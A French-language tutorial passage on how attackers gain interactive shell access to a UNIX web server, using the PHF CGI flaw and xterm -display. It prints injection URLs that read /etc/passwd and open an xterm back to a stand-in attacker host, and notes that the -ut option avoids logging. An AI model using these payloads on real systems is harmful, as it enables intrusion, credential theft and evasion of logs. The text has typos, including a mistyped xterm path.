Principe de l'attaque
Ici
nous vous présentons plusieurs techniques utilisées pour obtenir
l'accès interpréteur de commandes.
Il
est important de garder à l'esprit que l'objectif principal
de tout pirate est d'obtenir un accès interpréteur de commandes
ou ligne de commande au système cible. L'accès interpréteur
de commandes est habituellement obtenu en se connectant à distance
à un serveur UNIX via telnet, rlogin ou ssh. Vous pouvez alors
exécuter des commandes via rsh, ssh ou rexec sans disposer d'accès
"interactif".
Supposons
que des pirates cherchent à accéder à un serveur Web de type
UNIX qui est situé derrière un firewall ou un routeur d'inspection
de paquets. Ce qui est fondamental à comprendre ici c'est que
le firewall est un mur de routage et qu'il ne sert pas à créer
des images miroir des services. Les seuls services autorisés
à passer le firewall sont HTTP, port 80 et HTTPS, port 443.
Imaginons
maintenant que le serveur Web soit vulnérable à une attaque
par . Le serveur Web est également
exécuté par des droits d'accès de type nobody, ce qui est courant
et considéré comme un bon principe de sécurité.
Si
des pirates perviennent à exploiter avec succès le situation
de validation d'entrée PHF, ils peuvent exécuter du code sur
le serveur Web en tant qu'utilisateur nobody. Exécuter des commandes
sur le serveur Web cible est essentiel mais ce n'est pas la
première étape vers l'accès interpréteur de commandes interactif.
Les
pirates tirent alors souvent profit du système de fenêtrage
UNIX X.
X
est la fonctionnalité de fenêtrage qui permet à un grand nombre
de programmes de paratger le même écran graphique. X est extrêmement
robuste et permet à des programmes clients de type X d'afficher
leurs résultats sur le serveur X local ou sur un serveur X distant
fonctionnant sur les ports 6000 à 6003. L'un des clients X les
plusutiles aux pirates est Xterm.
Xterm
est utilisé pour lancer un interpréteur de commandes local pendant
l'exécution de X. En activant l'option -display, les pirates
peuvent envoyer un interpréteur de commandes vers le serveur
X.
Bingo
! Accès interpréteur de commandes instantané.
Examinons
comment des piartes pourraient utiliser PHF pour faire plus
que simplement afficher le contenu du fichier passwd:
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Comme
les pirates sont capables d'exécuter des commandes à distance
sur le serveur Web, une version légèrement modifiée de cet outil
permettra d'obtenir un accès interpréteur de commandes interactif.
Il suffit aux pirates de remplacer la commande /bin/cat
/etc/passwd par /usr/X11R6/bin/xterm -ut -display evil_hackers_IP:0.0
comme suit :
/cgi-bin/phf?Qalias=x%0a/usr/XR11R6/bin/xterm%20-ut%20
-display%20evil_hackers_IP:0.0
Le
serveur Web distant va alors exécuter xterm et réafficher le
résultat obtenu sur le serveur X des pirates avec un identifiant
de fenêtrage de 0 et un identifiant d'écran de 0.
Comme
l'option -ut a été activée, cette opération ne sera pas enregistrée
par lle système. De plus , le %20 est l'équivalent hexadécimal
d'un caractère espace utilisé pour désigner les espaces entre
commandes. Les pirates ont ainsi réussi à obtenir un accès interpréteur
de commandes interactif sans se connecter à aucun service du
serveur Web.